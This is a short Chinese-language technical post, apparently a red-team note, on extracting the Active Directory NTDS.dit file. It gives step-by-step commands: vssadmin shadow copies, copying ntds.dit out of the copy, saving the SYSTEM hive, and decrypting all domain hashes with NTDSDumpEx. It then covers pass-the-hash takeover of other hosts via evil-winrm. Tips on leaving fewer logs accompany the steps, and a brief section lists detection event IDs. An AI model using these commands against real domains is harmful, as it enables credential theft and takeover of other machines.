NTDS提取与利用

NTDS提取与利用

Scroll Down

一、背景

  • NTDS.dit是主要的AD数据库,包括有关域中用户、组和组成员的身份信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在注册表SYSTEM配置更改单元中的密钥对这些哈希值进行加密。
  • 当然,对于纯粹希望获取到域内的所有账户的密码哈希,也可以采用DcSync,但此种行为动作较为容易被感知。
  • 补充:
    • NTDS.di默认始终处于运作中,无法被用户操作。
    • 默认存放位置为:C:\windows\NTDS\ntds.dit
    • 因此可以使用创建快照的形式,提取快照内为受到运行保护的备份数据

二、数据提取

2.1 方法介绍

卷影复制(Volume Shadow Copy)

  • 卷影复制服务是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(相当于快照)的服务框架。
  • 作用如下:
    • 用于数据备份
    • 支持Windows Server 2003 及以上操作系统
    • 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定
    • 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup

2.2 数据提取

2.2.1 工具介绍

  • 两件本机自带的卷影复制工具
    • ntdsutil
    • vssadmin (建议采用,产生日志较少)

2.2.2 数据提取

  • 查询当前系统快照:vssadmin list shadows
  • 为C盘创建快照:vssadmin create shadow /for=c:

image-20230913003909654

  • 提取卷影中NTDS.dit文件:copy {卷影副本卷名}3\windows\ntds\ntds.dit c:\ntds.dit
  • 删除快照:vssadmin delete shadows /for=c: /quiet
  • 获取解密密钥:reg save HKLM\system system
    • 保存注册表中的system信息,后续使用解密工具作为密钥解密NTDS.dit,获取全部用户账密信息。

2.2.3 数据解密

image-20230913011800734

  • NTDSDumpEX
    • NTDSDumpEx.exe -d ntds.dit -s system.save

image-20230913012101049

三、攻击利用

  • 对于获取到域内的账户名与哈希,可直接采用PTH攻击,建议用evil-winrm实现PTH
  • 由攻击机231利用账号以及密码哈希,通关winrm成功接管域内其他主机。

image-20230913013109631

四、事件溯源

● event-id:8222、4688
image
image-20240228142450280

五、补充

  • 对于提取NTDS的手法还有很多,但借助于第三方的脚本或工具的,一般都会被杀软识别,所以选中适合自己的就好。
  • WinRM是域内主机默认开启的支持远程管理的工具,需要使用特权账户才能在域内据此横移。
  • 终端分屏工具:tmux
  • shell工具:Termius